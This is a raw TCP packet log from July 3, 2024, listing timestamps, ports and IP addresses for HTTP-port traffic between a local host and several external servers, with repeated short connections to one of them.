Jul 3, 2024 23:59:27.024837017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024858952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024869919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024878025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024903059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024914026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024954081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025000095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025003910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025037050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025069952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025084972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025104046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025118113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025141954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025145054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025192976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025224924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025243044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025258064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025270939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025285959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025305986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025319099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025341034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025360107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025368929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025418043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025420904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025450945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025474072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025481939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025492907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025516033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025527954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025558949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025566101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025599003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025609970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025667906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025667906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025701046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025708914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025732994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025744915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025765896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025798082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025816917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025846004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025845051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025877953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025911093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025928974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025944948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025955915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.025978088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.025988102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026010990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026062012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026067019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026098967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026133060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026143074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026165009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026181936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026196957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026205063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026230097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026243925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026262045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026276112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026294947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026308060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026328087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026359081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026380062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026411057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026411057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026444912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026489973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026499033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026523113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026568890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026572943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026611090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026612997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026622057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026654959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026659012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026674986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026690960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026699066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026726007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026731968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026770115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026776075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026809931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026822090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026843071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026875973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026894093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026906967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026916027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.026942968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026976109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.026990891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027010918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027044058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027064085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027087927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027137041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027168989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027200937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027215004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027241945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027251005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027282953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027314901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027326107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027348042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027380943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027391911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027412891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027426958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027445078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027457952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027478933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027488947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027512074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027523994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027545929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027555943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027579069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027592897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027611017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027617931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027646065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027656078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027703047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027822018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027853012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027870893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027884960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027895927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.027921915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.027973890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.060568094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060822964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060859919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060877085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060893059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060925961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060945034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.060976982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.060981989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061011076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061023951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061043978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061048031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061077118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061090946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061109066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061126947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061141968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061156988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061175108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061187029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.061208010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.061218023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.062256098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.083767891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083802938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083837986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083872080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083875895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.083894014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.083904982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083930969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.083940029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.083940029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083975077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.083991051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.084017038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122167110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122200012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122219086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122267962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122275114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122298956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122304916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122333050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122335911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122361898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122366905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122375011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122401953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122409105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122433901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122451067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122471094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122476101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122522116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122535944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122570038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122586012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122602940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122618914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122636080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122643948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122668982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122668982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122703075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122711897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122746944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.122946978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.122981071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123003006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123012066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123016119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123044968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123054028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123078108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123083115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123111010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123142958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123157024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123174906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123183966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123209000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123218060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123240948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123254061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123291969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123292923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123325109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123334885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123358965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123367071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123389959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123399973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123423100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123435974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123457909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.123461962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.123506069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.830857992 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:27.835890055 CEST	80	49745	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:27.837605953 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:27.837764978 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:27.838000059 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:27.838217974 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:27.842530012 CEST	80	49745	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:27.843004942 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:27.843071938 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:27.844230890 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:27.847944021 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:27.857148886 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:27.861915112 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:28.459899902 CEST	80	49745	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:28.460047007 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:28.542726040 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:28.542790890 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:28.648112059 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:28.648447990 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:28.653335094 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:28.653368950 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:28.653422117 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:28.653454065 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:28.653646946 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:28.658420086 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.372742891 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.372802973 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.373563051 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.378427029 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.596318960 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.598037004 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.710517883 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.710803986 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.715663910 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.715739965 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.715838909 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.715996027 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.715996027 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:29.720906973 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:29.836278915 CEST	49745	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:30.411869049 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:30.413963079 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.414556026 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.419409037 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:30.632783890 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:30.632853985 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.795439005 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.795738935 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.800514936 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:30.800590038 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.800730944 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.801217079 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:30.801268101 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:30.805418015 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:31.511404037 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:31.511646986 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.512367964 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.517290115 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:31.736614943 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:31.736690998 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.851099968 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.851414919 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.856235027 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:31.856271029 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:31.856306076 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.856354952 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.856477022 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:31.861576080 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:32.556969881 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:32.557044983 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.557627916 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.563620090 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:32.777760029 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:32.777833939 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.882566929 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.882915974 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.887805939 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:32.887876034 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.887984991 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.901233912 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:32.901277065 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:32.901524067 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:33.611556053 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:33.611650944 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.614244938 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:33.621717930 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:33.839718103 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:33.839819908 CEST	49751	80	192.168.2.4	77.91.77.82
